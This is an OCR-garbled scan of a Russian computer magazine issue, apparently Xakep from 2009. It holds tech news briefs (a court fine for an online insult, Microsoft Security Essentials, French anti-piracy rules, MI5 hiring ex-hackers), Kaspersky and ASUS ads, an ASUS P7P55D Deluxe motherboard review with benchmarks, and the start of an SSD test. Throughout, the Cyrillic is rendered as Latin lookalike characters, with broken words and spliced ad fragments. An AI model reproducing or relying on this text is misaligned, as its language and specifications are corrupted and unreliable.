CTapoy NOroBopKe Npo Aypaka, KOTORoro 3acTaBuin MoK TbCs
Bory. OnHake He oTCTaem Mul YNopHo, Hanpumep, B Poccuu
TeNepb TOXE CYAAT CeTeBbIX TposNeil — LleHTpanbHbii cya r
OMcKa NpUroBOPKI MECTHOTE XUTens k WTpady B pasmepe
1.500 pyBneii 3a ockopBreHus 1 kneeeTy B COUMaNnbLHON CeTH
((OHHOKHECCHMKM». Mcknopana IKC-npenofaBarebH1La
OMCKOrO rocyA2pCTEEHHOMA YHBEPCHUTETA, 3aABWB, 4TO
oTBeTuUMK [ee BoiBLVI KONNera) Hanwucan B 0QHON 13 rpynn
«0AHOKNACCHKKOB» Chenyiollyio gpasy: «Tebs c no3opam
BLITHANW W3 YHVEEPA, PA2BPaTHAN VANOTKE C NPETeH3NAMW Ha

npasaonicbcTeo, MeToAbl TBOW CMELLIHbI A yLLepBHbI: xaMcTBo,
WAHTEX, J0MOraTenbCTBO W T.0.». TakKe XeHILMHa yTBepxaa-

"UPTA" SUPERJUB "PUBE” UHPUC, na, YTo OTBETUMK CO3/38aN GpanblIMBLIE aKKaYHTL, FAEe MoCTUN

ee GOTo C M3eBaTeNbCKIUMK NoanucsMu, v xoTena 20 TeicRY

PE3Y/ILTATBI KOTOPOTO MOKASAM — BF Yo oo oo

TONBKO TO, YTO YBONIMNACHL OHa NO COECTEEHHDMV)KEJ'IEHMPO. 7]

"0”b3UBATEﬂE” I'USA"UT TUPPEHTbI, HU npuBefeHHasn sellle ¢pa3a AelCcTBUTENLHO MMENa MecTo, 0C-
TaNbHbIE NPETEH3MI COMMM HEA0KA3aHHbIMK. HO, KaK BUAN Wb,

MPECTYMEHMEM 3T0 CYUTAETBCETD 100 oo e apemasmacrner
ONPOLIEHHBIX.

? | . KAJPZR{KY

_"ww"w.ka_"s_persky.ru

OtkpoitTe ans ce6s mup 6e30MacHOre MHTEpHeTa

Te p p I/ITO p Vlﬂ W 3a6ynbTe 0 KN6epyrposax

¢ Kaspersky Internet Security 2010!

6 e3 0 n a C H 0 CT I/I s IHTeNNeKTYanbHas 3aliuTa B PEXUME PeanbHOro BpeMeHy

> MonHbIA KOHTPONb 6830MACHOCTI BUPTYaNLHOrC NPOCTPAHCTBA
I(aspe rsky Internet Security 2010 > MUHUMAnLHOE BIMAHME HA paboTy KoMNblOTEpa
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CMEHA AHTUBMPYCHOI'O KAPAYJIA

Microsoft obbagmna 0 TOM, YTO HOBLINA

@h Microsoft Security Essentials
Computer status - Protected

BecnnatHblii aHTreKpyc Microsoft
Security Essentials BoiineTyxe B
Banxkarilve Heckoslbka Heens. 31oT
NpoAYKT NPU3BaH 3aMeHnTs cobaid
acTpoenHoe (v obipaBoe, Kak petweto)
petseqne Windows Defender s 0Cax
Windows 7, Yista n XP, oTknioume ero

y Es
protectit.

npwu yctaHoBke. Security Essentials
yxe npoluen beTa-TecT u TecTUpoBa-
HUE B DAJE CIELMANNBNPYIDLIXCS

Ha Takux Belljax komnaHui. B
@ Real-time protection: On

Up to date

YacTHocTH, 8 AV-Test counw HoBOE ‘
peletie o Microsoft «oueHs ) ius St spyiwate definitions:
XOPOLLIMM>, 1 BNOJIHE LOCTOMHLIM MO
CPaBHEHMIO C YPOBHEM KOHKYPEHTOB
B atoi 0bnacti. OTHOCKUTENbHO NNaT-
HOM0 aHTUBKUPYCa OT «MENKOMATKIX>
MoKa HUYEro He CLILHO, pa3Be yTo
1AeT paboTa Haf KOpPIopaTUBHbIM
Forefront Protection Suite, Ho 3Toyxe

M3 <APYIon onepel».

JNIEKTPOHHAA KHATA OT ASUS

Crano u3BecTro, 4To kKoMnarnua Asus oxuaaeT npubaeneHusa g
cemeiicTee Eee, MpUTOM JOBOIBHO OPUIMHaNbHOIO. Tak Kak pol-
HOK YCTPOACTE A HTEHWS NOCTENEHHO PACLUMPRETCA, fia U He-
Toykw, nnarweTHele K, nopratuBHbie Meaua-nneeps u apyrue
MHTEPECHBIE LUTYKK CTAHOBATCA BCE 1OCTYNHEE, ASUS pelimnu
HE NPOXOAMTE MUMO UHTEPECHON HULLIW W CKOPO MPefCTaBsAT
CBOE YCTpOMETBO0 ans YTeHws. HeT, c TexHonorve e-ink ceAabi-
BaThCH He cTanw, 3ato rafpket no umenn Asus Eee Book byaer
obnapats cpasy AByMS LLBETHBIMU CEHCOPHBIMU AUCTINEAMMU,
HTO [IeNaeT ero KpaHe NoXoXKnUM Ha 0BbIKHOBEHHYIO KHUKKY.
Hukakux nonpofHoCcTen 0THOCUTENLHO «HaYMHKW» YCTPOMCTBEE,
K COXKENBHWIO, NOKA HeT, Ho B ASUS He MCKI0YaIoT BO3MOXKHOC-
TnToro, 4to B Eee Book byper nognepxka 3G, Beb-bpayzep

1 pacliupseMoe XpaHuauLLe ANns AaHHbix. ViHTepecHo v elle
KOE-YTO — LieHa «KHWXKW», CKOpPEe BCEro, COCTaBUT NopaaKa
170 ponnapos. 370 CAENAET €8 OAHUM 13 CaMbIX AOCTYMHBIX
AeBaicos Takoro poaa.

HE XUP}%MTE ETH
BO®

OHQPEQHDE O4KO B HPDTMBOCTOQHMM «RKOMNKW-
paiTepsl vs aHTU-KonupanTepk» 3apaborany
CTOPOHHMKW aBTopckrx npags. OTHbIHE BO
DOpaHumK «310yNoTpebAsIoIMX» MHETOM
{03808, TO CTh, KAYBIGLLWX M PacNpoCcTpa-
HAIDLMX KOHTpadakT, ByayT aTkIuaTs oT
CeTn. Bnactu Tenepk byayT obasaHsl Tpuxk bl
NpeayrpeanTs HapyLLWTEeNs, U ecak 3To He

NOMOXKET, CY1 MOXKET HANOXWTE Ha «3N10CTHO-

» 014

Microsoft Security Essentials is menitoring your computer and helping to

Scan options:
0 Quick
Full

 Custom...

e VS
Scan now
=SR]

O\ Scheduled scan settings
Next scan: Sunday around 2:00 AM (Quick scan) | Change my scan schedule

Don't Touch 1! .

S

HUWK TYAATD

ro nvpata» wrpag go 300.000 eepo, npu-
FOBOPUTB €10 K KLLEHMI0 ceobofibl cpokaM
[0 2 NIET, UNK e GTKIYUTE OT UHTEpHeTa.
3 Bcex GppaHLy3cknX KapaTebHblX Mep
oTknio4eHue ot Cetn BuaMTCA caMoil beso-
BunHoi. HeaapoM NpuHaTUE 8HTUNKMPATCKUX
NONPAaBOK NbITANCA ONPOTECTOBaTh KOHCTHTY-
LI,E/IDHHbII‘/"l COBET CTpaHbl, 1 »ank, 41O U3 3TOMO
HWYero He BbILLNO.
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NOYTU KAK B KUHO

B Bputanckyo npeccy npecoyrnacs MHGopMaLMa o ToM, YTo B HoBOE
noapasaeneHue MI5 [rocynapcTeentoe BenoMcTB0 BpUTaHCKON KOHTP-
pazeeakv] HabupaoT BuiBLNK XakepoB. MceneposaTensekuin LeHTp
Cyber Security Operations Centre, B KOTOpOM «NOABMNNCE BaKaHCTUuU»,
Dbin co3f@H HEe[lABHO, C LeNbH0 Nepexsarta v aHanv3a kubep-aTak, yrpo-
KAWLWMK HAUMOHaNsHOM Be3anacHocTy, a Takxke nns paspaboTin mep
NPeTUBOCTOAHKS CHbIM. VIHbopMaLmsa o Hebope BuiBlinx kubep-npe-
CTYMHWKOE oKa3anacs npaedon. Mo chosam Anana Becra, 2aMm. MrHucTpa

no Bonpocam besonacHocTy W Bopkbel € TepPOPUIMOM, CTPAHE HyXHbI
MONOLLIE, TANAHTAMBEIE CNELManUCTLI, KoTopsle pa3bupalnTes B kubep-

e TP e e e

s e

zawwe. [oApoCTKN C KPMMUHANBHLIM [POLLLIM WAealIbHE NCAXOART Ha
3Ty ponk. COrnacHo AaHHbIM HEKOTOPEIX BpUTaHCKUX M3faHui, ceyac

8 CSOC yxe paboTaeT nopsnka 50 3KkC-NpecTynHKKOB, ¥ XOTH MHOTWE U3
HIX elle Jaxe He JOCTWIN KM COBEPLIEHHONETHA, OHK, TaK Xe, KaK 1 B3poc-
nble, 4a0T NOANUCKY C Hepazrnaterm (noxkuaHeHHyio] u npoxoaat
npoyue obs3aTensHble NpoUenyps!.

B ST YT P e

CMELb! KOMMAHWUM IDC YBEPEHbI, YTO MPOLAMM K B MUPE YNANM HA 2.4%
W3-3A NOABJEHUA HA PbIHKE HETBYKOB.

ASUS RT-N15 - HacTpouka
CeTu B O4HO KacaHwue!

v AGanmupoeaH dns Poccuu
v ¥Ymunuma

6bicmpoll HacmpouKu
6ecnposodHoOl cemu

u nodknroveHus K Internet

BecnpeueneHTHaa CKOpPOCTL Ans
Balluei CeT C TEXHONOrMsIMu
Gigabit Ethernet n 802.11N

Tosap copruhaiposan. Ha npasax pekiass.

= WIFI 300 MéurT/c,
noanepxka 802.11n n 802.11b/g

= 4 nopta LAN Gigabit
n 1 nopt WAN Gigabit

~ » ASUS Green Netwark Technology —

g =k 3(hheKTUBHOE PACXO0BAHNUE ANEKTPO3HEPrum
A NG W 3aLUMTa OKpyKalLen cpeabl Be3 notepu
WV ; NPOW3BOANTENEHOCTY
ASUS WL-130N ASUS WL-160N
BrICOKONPON3BOLUTENBHBLIA KomnakTtHeid USB 2.0
apantep PCI 802.11N anantep 802.11N

BcemupHan rapaHtva 2 ropa WWW.asus.ru Topavan AMHKA ASUS: (495) 23-11-939 I w:

DuctpuBerotopsl; BIOPOKPAT (495) 745-55-11; Koodoo Technologies (499) 256-17-31; OLDI (495) 22-11-111; MHPUT-Anctpubyuma (495) 974-32-10; TRINITY-ELECTRONICS www.iri-el.ru Inspiring Innovation « Persistent Perfection




m®EEMEHWA N

ATH BALLA!

TECTUPOBAHWE CHCTEMHOM NAIATbI ASUS P7P55D DELUXE

ASUS P7P55D DELUXE — maTepunHckas nnata, co3faHHasa Ha base ynncerta

Intel P55 Express 1 paccuntaHHas Ha ycTaHoBKy HOBbIx npoleccopos Intel

Corei5. MatepunHckas nnata sxonut B kateropumto Asus Xtream Design

M TTO3NLIMOHMPYETCA KaK pelleHne C MNOBbILIEHHOW MPON3BOANTEJIBHOCTbBIO

M HaexXHOCTbIo, YTo f0baBNseT MHTepeca cerofHALIHeMYy 0b30py.

BHELIHWW BUA

YCTpoMCTBO NOCTBASRETCS B APKOM YNaKoBKe,
Kak 3To M CBOMCTBEHHO NpoaykTam ASUS. BryT-
pu, MOMMMO CaMoi NnaTel 0BHapyunuce kabe-
nu ona NnoaoxIN4YeHWA NPUBOACE W HaKDI’IM'I‘EJ'Ieﬁ,
[MCK C MPOrpaMMHbiM obecnedeHmnem, mnaHkm
CA0NOAHWTENBHBIMW PA3beMaMn, UHCTRYK-

L1 NONL20BATENH, @ Takxe NNPOBOAHON NyNLT
AWUCTaHUWOHHOIO yNpasneHns, BO3MOXKHOCTA
KOTOPOTo Mbl PaCcCMaTpUM HYTh no3xe

Cama nnata M3roToB/IEHa B KJIBCCUYECKOM

» 016

popm-daktope ATX v neproe, 4To bpocaeTcs
Brna3anpyocMoTpe — 370 ODMFMHa)IthH:W
NM3alH NAacCMBHOM CMCTEMbI OXNAXKASHUS LLEenu
nUTaHKus 1 bonslwas NpaMoyroneHas NnacTuHa,
ABASDLLASCS OXJ13AMTENEM YMNCETE.

Kcnosy, B Intel P55 Express sce 6CHOBHbIE
KOMMOHEHTLI CEBEPHOI0 MOCTa BblHECEHbI B
npoueccop, a caMm YunceT peanunayet rNaBHbLIM
0BpazoM hyHKL MK IoxHOro MocTa: paboTy ¢ nna-
TaMu paclUKMpeHnid n nepudepneid. Hto kacaetcs
MOACUCTEMBI MTUTAHWS, TO OHa BLINONHEHA MO
bopmyne 16+3 da3ssl.

OTaenbHOro BHUMaHWs 3acyKMBaeT Hosas
KOHCTpYKU WA BriokupaTapa npoueccopa.
Tenepb 310 bonee HagexHbIM 1 ya0BHbIA
MEXaHW3M KPEenneHns c NpoaonrasaTon
nankoi. [pocTpaHcTBa BOKpYr cokeTa
[0,0CTaTaTo4HO ANf YCTaHOBKU MacCUBHOIO
Kynepa, Ho BPAJ W 31€Chb CTaHEeT BO3MOX-
HblM MOHT3X MOAENN C HA3KUM MpadunemM.
Yerolpe pazbema DIMM, koTopsie paboTatoT
cnamatew DDR3, obnagawT 2axkumamun
TONBLKO C O4HOW CTOPOHE. brnuxe kK cnotam
PCl-Express HaxoguTcs nub GUKCHpy-
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TECTOBbIH CTEHA

MPOLECCOP: INTEL CORE 15-750, 2.66 TTL|

KYNIEP: INTEL BOX

CHCTEMHAA NNIATA: ASUS P7P55D DELUXE
ONEPATUBHASA MAMATD: 2X 1024 MBAUT, CORSAIR
DDR3-2133

BUAEOKAPTA: NVIDIA GEFORCE GTX 285

BJIOK MATAHUA: 650 BT, CORSAIR TX650W
ONEPALLMOHHAS CUCTEMA: MICROSOFT WINDOWS VISTA
ULTIMATE SP1 X32

OWWIA YyNop. 970 3HAYMTENbLHO 061eryaeT NPoLReCce U3BNaUeHua
MOOYIEN NaMaTX Jaxe Npu nonHocTelo cobpanHol cucteme. Takoe
pauvoHanu3laTopckoe npepnoxeHue ASUS Hapekna TexHonoruei
Q-DIMM.

BO3MOMHOCTH

Ha nadenu eslBoga nnatel NpucyTcTBYeT M30B1nMe pasbeMoB. ECTb 3gech
v Bocems (1] USB, u nea RJ-45, v ontuueckuin SPDIF/Out, He rosops yaxe

0 KDaKcMansHoM. Halnoce MecTo aaxe angd ksonkl cbopa CMOS. Ha
camoli nnaTe NPUCYTCTBYIOT Takxke W KNaBuLuwy (13, monHoLEHHbIE KHOMKK)
BLIKNIOYEHWUA Vi Nepe3arpy3kn. Takie NPenectu HesaMeHuMe!, ecnu nnaTa
MCMONb3YETCH B K3UeCTBE TECTOBOMO CTEKA MNKW MNAATPOPME! ANF X3PAKOp-
HOMO pa3roHa c a30ToM, Befb B 3TOM CAy4ae HET HeobXoouMOoCT NOCTOSTHHO
3aMblKaTb QTBEPTKON HyXHble KoHTakThl. B obuiem, duika npuaetca no
BKYCY MaHbAKaM-0BEPKIOKEPaM.

Mnatdopma ocHaweHa Tpems cnotamn PCl-Express X16. [epsoiii paboTaeT
B pexume X16, ecnu B CUCTEME MCNONL3YETCHA TONLKD 0AUH rpadrdeckuin
apanTtep. [peTuii cnoT paboTaeT ToNbKO B pexmMMe X4 1 NPUroanTCs, ecnu
NNaHWPYeTCs YCTaHOBKA AOMNOAHUTENbHCH BUAGCKAPTLI, HAaNpUMep, 45
paboTel c BonblM KONMHECTBOM MOHMTOPOSE. [TepBoil v BTOPOK pasbem
MoryT pabatathk B KoHpUrypaunu «8X+8X». CneayeT npUHATL B0 BHUMaHKE
v npocToii cnocob dukcalmy BuaeoKapT B pa3beMax. 30eck BCEro ogHa
MaccKBHas nanka, kotopas obneryaeT NpoUece MOHTaXa MK yoaneHus
YCTPOWCTBA N3 CUCTEMBI.

Ha matepuHckoi nnate npucyTcTBYeT DONbLLLIOR KONWMYECTBO NOPTOR ANS
nogkntverus SATA-HakonuTenen. S3aeck ecTs b CTEHAAPTHEIX PA3HEMOE,
KoTopkie mogAemkuBaioT paboTy Intel Matrix Storage 9, aTakoke RAID ypos
Ha 0, 1,51 10. Ewe ecTb Tpy nopta SATA obecnedeHHbIX [ONOAHWTENBHSIMKA
KoHTponnepamu. B 4acTHOCTM ciHmil v Benbiil pazkemMsl paboTatoT bnaroaa-
pa JMicron JMB322 v noppepsxkusator TexHonoruio Drive Xpert.

AONONHUTENBHBIE ®DYHKLWK

MNepBas byHKUMA, 0 KoTopoit chefyeTyroMaHyTe — 310 «MemOK!». Ha nnate
NpefycMOTPEHa KNaBuLLa, KOTOPas No3BONAET 8KTVBUPOBATE OfIHUM 28
Haxatuem besanacHsie HacTpoiiky NamaTy. K opyriuM 3aMeTHsIM ocobek-
HOCTAM NNATGOPMbLI CNEYeT OTHECTV NOALERKKY OLHOBPEMeHHOR paboThl
Heckonekux rpadudeckux agantepos. Kak Bsine ckazano padee, nnardgopMa

PE3YNIbTATbI TECTUPOBAHKA

Super Pl, mod 1.5 XS: 13,2 cek

WinRAR 3.8: 1501 Kbait/c

3DMark’06, Overall: 15168

3DMark’06, CPU: 4056

PCMark’05, CPU: 7318

Lavalys Everest Ultimate, Memory Read: 15211
Mb6ait/c

Lavalys Everest Ultimate, Memory Write: 13748
MBaiiT/c

Lavalys Everest Ultimate, Memory Latency: 42.4 Hc
Crysis, High Detail, 1680x1050: 63,1 FPS
Fallout 3, Medium, 1680x1050: 85,4 FPS
FarCry 2, 1680x1050: 74,4 FPS
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TEXHUYECKUE XAPAKTEPUCTUKU

* MOJAEPHUBAEMBIE TPOLEECCOPBI: INTEL CORE 15

* PAJBEM: LGA 1156

* YANCET: INTEL P55 EXPRESS |

* TAMATD: 4X DIMM, MAKC. 16 TBAUT DDR3-
2133/1600/1333/1066

* PA3BEMbI PACIIMPEHMA: 3X PCI EXPRESS X16, 2X PCI
EXPRESS X1, 2X PCI

* HAKONMUTEJIU: 9X SATA, 1X UDMA

« [1OPTbI USB: 14 (6 HA 3ALHEU MAHEJIU + 8 1ONONHK-
TEJIbHO

J CETb:?&YAI[bHI:IH TMTABUTHBIW KOHTPOJIIEP
REALTEK 8112L/8110SC :

* 3BYK: 10-KAHAJIbHbIA HDA-KOJLEK VIA VT2020

» GOPM-®AKTOP, PASMEPDI: ATX, 305X244 MM

ocHalleHa Tpema cnotamu PCI-Express. Tak 8ot napa U3 Hux MoxeT paboTark
8 pexxime «8X+8X». Mano Toro, cuctemHas nnarta MoxeT 0MHAKOBO YCNELIHO
paboTaTs kak ¢ uaeoxkapramu B pexxuve NVIDIASLI, tak v c akcenepaTopamu
8 koHdurypaumr AMD CrossFire. Henb3s He ynoMsiHyTs 1 o 3Byke. Mbl cpasy
obpaTinu BHUMaHWe, 4To Npov3BoanTens caenan crasky Ha 10-kaHansHeIA
[uTo y3ke HeoBbidHo] konek HDA-knacca npovseogctsa VIA. Hacto BeHgopel
orparnduBatotca cxemamu ot Realtek, Ho B ciyuae c ASUS P7P55D Deluxey
Hac He Bbino NpeTeH3mni. KoHeYHo, 3By4aHne He CPaBHHTCS C AUCKPETHbIMK
MOJENAMM aYAVOKAPT, O[JHAK0 ANS MHTETPUPORAHHOMQ BapraHTa 3eyYanme
Hennoxoe. HakoHeL, Hemb3A He CKa3aTh 0 NyNLTe AUCTaHLUMOHHO0 yrpaBne
Hua. C kax o Tonoeoi nnatoi oT ASUS waert kakoi-To npusitelid npubambac,
KOTOPLIV MO3BONAET BLIARAWTE MPOLYKT M3 COHMA NoA0DHEIX. B uncne Takux
«TMPMMaHOK» BEINK KU KOKPUCTANNMYECKUE AUCIIEN, CUTTEMb! BOLAHOIO
OXNAXKAEHNTA U AEXKE OPUTMHANBHER NOLCBETKE NeYaTHOM NnaTsl. B Haluem
cnyyae Takum BoHycom cnyskuT nynst Ans pabotel c Texsonorueid Turbo V. Ham
MPUXOAMNOCE BCTPEYATLCA C 3TOM dyHKUMEN 1 paHbLLe. 3TOT OBEPKNOKEPCKIA
LBV>KDK N03BOAS MEHATb HACTPOMKN CUCTEMbI Ha IETY, HE NOKKanA onepa-
LIMOHHOU cUCTEMBL YNIpaBnanka ienaet atoT npouecc elle bonee buicTpeImM

W noTelHbiM. Hanpumep, Tpn kKnasuwm «A», «Bx» 1 «C» akTBnpyroT oouH 13
npegycraHosneHHblx npoduned (NoseilieHue pabouen vactotel va 3%, 7%
W11 HA YPOBEHb, 2a8BJIEHHbIA NoNs3osaTteneM). MoxHo ¢ NoMollbe NynLTa
ynpaBnaTe W ABwkKoM EPU, yTo nenaet ewe bonee LeHHBIM @ro NpUCYTCTBUE
B KOMMAeKTe.

BbIBObI

C moMeHTa aHoHca Intel P55 Express bonbwUHCTBO kKOMNaKKIA NocTa-
Panvuch CPasy Xe NpeAcTaBuTh COBCTBEHHbIE MOLENW CUCTEMHBIX MAaT

Ha sTem unncete. OgHako ASUS ynanock cienats cobCTBEHKbIA NpopyxT
OPUrMHaNbHbLIM U MHTEPECHBIM 1R 0BEPK/IOKEPOB W NpocTo Nnburenei
BCEr0 3KCKIK3WBHOID B CEPE HACTONLHBIX NNaTdopM. MakcumansHas
DYHKLWOHANBHOCT, GYHKLMM aBTOMaTUYECKOTO PA3roHa, MoLLHbIM DBEpPK-
NOKEPCKMIA LBUXKOK — BCE 3TO MONYYUT NONb3I0OBATENk, NYCTh 1 HE 33 CTONb

CKPOMHYIO Nnaty. 3

KOHKYPC ASU

3axopau Ha canT www.xakep.ru u npu-
HUMaW yyacTue B KOHKypce KOMnaHuu
ASUS upepakunm .

ce, yTo TpebyeTtcsa
B KOHKYpCe — NpPaBUJIbHO OTBETUTL Ha

5 Bongocoa 0 MaTepuHckou nnate ASUS
P7P55D.

PasbirpoiBaetca PDA ASUS MyPal A686
“ AiBa cCyBeHUpHbIX Habopa ASUS: BT-
Mblllb, HaYLWHWKKN 1 Beb-KaMepa.
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i W ABTOP: CEPTEM HAKWUTWUH TECTEP: AIEKCEN NONY9K0B

0CZ Technology

e

0CZ Technology

TectupoBanue
TBEPAOTE/NbHbIX HAKONUTENEH

Tanscend

0CZ Technc

B HACTOJIbHbIX K U HOYTBYKAX OCTAETCA BCE MEHbILIE AETANIEW M YCTPOUCTSB,

B KOTOPbIX ECTb ABUMYLUMECA YACTH. U TABHbIM ®OPNOCT MEXAHWU3MOB - 3T0
WECTHMMA JUCK. ELLLE HELABHO KA3AJIOCh, YTO OH HEMOBEIMM. HO CUTYALIUA
W3MEHUJIACH C IOABAEHMEM YCTPOUCTB SSD, KOTOPLIE NOCTEMEHHO BbITECHAIOT
ECTKUE AMCKU U3 KOPMYCOB MOBWJIbHBIX U HACTO/IbHBIX KOMIbHOTEPOB.

METOAMKA
TECTUPOBAHMUSA

MposefeHHBIe HAMW TECTHI MOKHO YCNOBHO
pa3fennTh Ha TPU FPYNMbi: MMUTauusa paboTel
peasibHEIX MPUIOXEHVA, NPOBEPKE BRPEMEHMK
[OCTYNA U MCNBITAHMA HA CKOPOCTh UTeHnaA\
3anuncu. [Ins npoEepku CKOpoCTK cnyuai-
HOW 33MKCK W CAYHaRHOMO U NMHERHOTD
YTEHWA Mbl MCMOJIb30BAN TECTLl M3 COCTABa
nporpaMmsl Everest. YTunuta h2benchw
MCMNOAB30BaNAach A8 U3MEPEHNA BPEMEHH
4TEHWA W 3anuck. MiMuTaumen peanbHbix
MPUNOKEHWIA HaM CAYXKNN TECTOBLIA NMakKeT
PCMark 05, uz koToporo Mbl 3anyckant
wMuTauuio 3arpyskn Windows XP, zarpyaky
NPUNOKEHWW, aHTUBMPYCHOE CKaHWpoBaHKe,
3anuch GarWnoe u «npoctyo» paboTy gucka.
OcobeHHOCTH 3TOTD TECTA 33KJII0YARTCH B
TOM, 4TO OH MNO3BONAET CMOTPETL HE Ha Cyxue

» 018

LUGpPLl NPOLEHTOB, CEKYHA 1 bannos, a oue-

HWBaTh TO, Kak ycTpoicTBo byfeT BecTu ceba

npu peansHoi pabore.

TEXHONOI KU

Yctpoictea SSO [pacwudposbiBasTca kak
Solid State Disk, TREpROTENLHbIA HaKO-
nuTensb) Ha faHHbIA MOMEHT ABNSAIOTCH
ONTUMaNLHbIM pelledrenM ans MobunbHbix
kamnkioTepor. [oyemy? MNoToMmy 4T NKULLEHEI
BCEX HEAOCTATKOB XecTKux aAnckos. B SSD-
YCTPOMACTBaxX HET OBUXYLLMXCA HacTel, OHK

HEBOCNPpWUMMYMBLI K BI/'\E]p(:]LLHVl M MeHee YyBC-
TBUTENIbHbLI KYdapaM; OHK ﬂOTpeﬁﬂHiOT OYEHE

Mano aNeKTpoaHeprui U, COOTBETCTBEHHO,
BblAeNIAlT Mano TenNa; KpOMe TOrQ, Mx CKO-

POCTE HA CEeroAHALHWA AeHb YXKe CYWecTBeH -

He Bolwe ckopoctn HDD. 3aberas HemHoro
BMEPe/, CKaxy, YTo N0 pesynbraTam Hallux

TecTtoB Magenus SSD npesocxogat HOD no
ckopocT Ytenua\zanuck (B ocHoBHOM, —
HEHaMHOTO0), @ caMble ApKUE pesynbTaTbl — B
TECTEX Ha BPEeM# JOCTYNa, KOTOPLIX OHK ONepe-
KT KecTkne Aucku B passl. QuesuaHo, 410
HoyTByK ¢ SSD-ycTpoHCTBOM BMECTO KecT-
KOTo [UCKa BCT MEHbLIE 3HEprin, BeicTpee 1
Lonebwe paboTaeT, MeHblle rpeeTcs U Bonee
nopxoAut ang pabotel B 4BKMKeHWK. [Toka y
TexHonoruy SSD ecth ABe Nnpobnemul: aTo
BHICOKEH CTOMMOCTL YCTPOUCTB 1 X Hebonb-
LIOMA, N0 CPABHEHMIO C KECTKUMMW SUCKaMY,
obbem. Ho oba aTMx HegoCTaTKa NOCTENEHHO
ACMPABAAIOTCH, TAK 4TO M3 MOBMNeHExX MK 27K
HaKOMUTENW CKOPO HAYHYT NepebupaTbes v B
HacToNbHbIe. BCe y4aCcTHUKM CerofHALIHEro
Tecta uMeloT nHTepdeinc SATA. Thl cMoxXe Wb
bes npobnem NogkIYNTL NX K CBORMY KOM-
neloTepy 1 ucnpobosats B gene.

XAKEP 10 /130/ 09



CMHUCOK NPOTECTUPOBAHHBIX YCTPOMCTB:

A-DATA 5592

INTEL SSDSAZMHO80G15E
KINGSTON V SERIES

0CZ TECHNOLOGY VERTEX SERIES
SAMSUNG MMDOE56GSMXP
TRANSCEND TS192GSSD255-M

14000 py6.

A-DATA
5992

TEXHUYECKWUE XAPAKTEPUCTHKM:
EMKOCTb, 'B: 128

®OPM-DAKTOP: 2,5"

WHTEP®ENC: SATA- (|

3ASBNEHHAS CKOPOCTb YTEHMWS, MBAWT/C: 230
3ASBNEHHAS CKOPOCTL 3ANMCH, MBAWT/C: 170

e

Obnagan 64 Mb Bydepom, Hakonwtens A-Data S592 Bo Bcex TecTax nokasas
BECHMA BMEUaTNAILLME PE3YNETATE. PenKo onyckancs Huxe BTOPOre Uiu
TPETHErO MECTA, B TECTE Ha MMWTALMIO «0BBI4HOA» paboThl secTroro gucka
[rect General Usage 13 komnnexra PCMark 05) oH onepepun Bce octansHbie
YCTPOHCTBE. Hy>XHO OTMETUTL, 4TO MUHKVIMaNEHas M MakcKMansHas CKopocTs
pabote A-Data S592 01nnuaioTcs He 04eHs CUITsHO, TO ECTL OH paboTaeT
CTabunbHO BLICTPO B HE33BUCUMOCTM OT Kakux-To cbcTosTenscTs. CToumMocTs
YCTPOMCTRE OTHOCKMTENSHD HEBETIWKE, NOSTOMY, yYMNTEIBaSA ETC CKOPOCTHLIE
xapakTepuctuku, A-Data S592 ctaHoBuTCca obnapatenem Tutyna «Jlyuwasn

NOKYTMKa»

Bo3MoxHO, MMEHHO M3-38 HEBLICOKOW LeHbl, KOMNA_KTa WA ycTpoicTea
NPakTMYEecKW OTCYTCTBYET — KPOME Hero camora, B Kopobke HaxoanTes Tolb-
KO HEBOMBLIEA MHCTPYKLINS.
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16000 pys.

SSDSA2MHOB0G15E

TEXHUHECKWE XAPAKTEPUCTUKM:
EMKOCT®, 'B: 80

®OPM-GAKTOP: 2,5°

MHTEPQERC: SATA- |

3ASIB/IEHHAS CKOPOCTb YTEHMS!, MBAMT/C: 250
3ASBJIEHHAS CKOPOCTb 3ANUCH, MBART/C: 70

&

He sce ato 3HawT, a komnaHus Intel NpOM3EOAMT He TONEKO NPOLECCOPL,

HO W Maccy Bpyrux ycTpoicTs. Cerofks K HUM 40baBunnucL 1 nagenna

S50. MpoekTupys avck Intel SSDSAZMHO80G15E, coznarenslo unm Her,
MHKeHepbl-pa3paboTyuky LoBMANCE Bro ONTUMM3aUmMK Noj, A8 338841 —
BuicTpad 2arpy2ka onepayyorson cuctemesl Windows XP 1 beIcTpbIA cTapT
npunoxedus. 370 fokazsigaeT abconotHas nobepna nucka B Tectax PCMark
XP Startup u Application Loading. Mbi ygsepeHel, 4To HailgeTca Macca Nioaei,
LJ19 KOTOPBIX 3TU NapaMeTphl ropa3fo BaxHee, YeM MpocTo CKOPOCTEL YTEHKA
unn 2anmcu. KosedHo, sedb HMKTO He NbuT kaaTs, Noka 3anycTuTes urpa

unun zarpysmrca OC.

HecMoTpa Ha 33085 EHHY0 NPOU3BONMTENEM B TEXHWHECKMX XaPaKTepMCTh-
Kax ckopocTb 3anueu 70 MB\c, cpeiHas CKopoCTb 3anuUCcK COCTABUNA TONbKD
64 MB\c, npu pasbpoce ot 12.5 go 76.6 MB\c. Hukto He 3HaeT, BeicTpo Nk
Bynet paboTaTs AKCK B KOHKPETHLIA MOMEHT. KpoMe Toro, eMKOCThb YCTROIC-
Tea kpaiHe Hesenwvka. Yo Takoe ceronHsi 80 [67 TyT naxe BeICOKan CKOPOCTL
sarpysku OC v crapra M0 He kaxeTcs onpaBAaHuem Takok LieHs!.
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KINGSTON V
Series 128

TEXHWHECKWUE XAPAKTEPUCTURM:

EMKOCTb, [B: |
®OPM-PAKTOP:
WHTEP®ENC: SATA-I|

3AABJIEHHAS CKOPOCTb YTEHUWA, MBANUT/C:
3AABNEHHAS CKOPOCTb 3AMMCU, MBAAT/C: 80

+

3 Beex X2PAKTepUCTUK 3TOTO AUCKa NepBbiM AeNoM obpau_l,aeum BHWMa-

HWE Ha Ero LeHy, KoTopas B NoNTopa-ABa pa3a MeHbLLEe, YeM Yy YCTPOUCTB C
AHENOMMYHBIM 0BBEMOM. YUMTSIBEH, Y4TO 3T0 He K2KOM-TO N0 Name, a NpoLyKT
MMeEHWTOIR koMnaruK Kingston, nepeoii peakuyei dyaet: «boicTpee oMo
3a IeHsraMm v NokynaTe». He pa3o4yapoBLIBaeT M KOMIAEKT NOCTaBKN, 33

CYET KOTOROTO MPpOM3BOAMTENM 0bbIYHO CHUXKET UeHBI Ha CBOIO NPOAYKUMID.

R kopobke ¢ Kingston V Series 128, nomMumo caMoro ancka, Mbl Halaem Anck
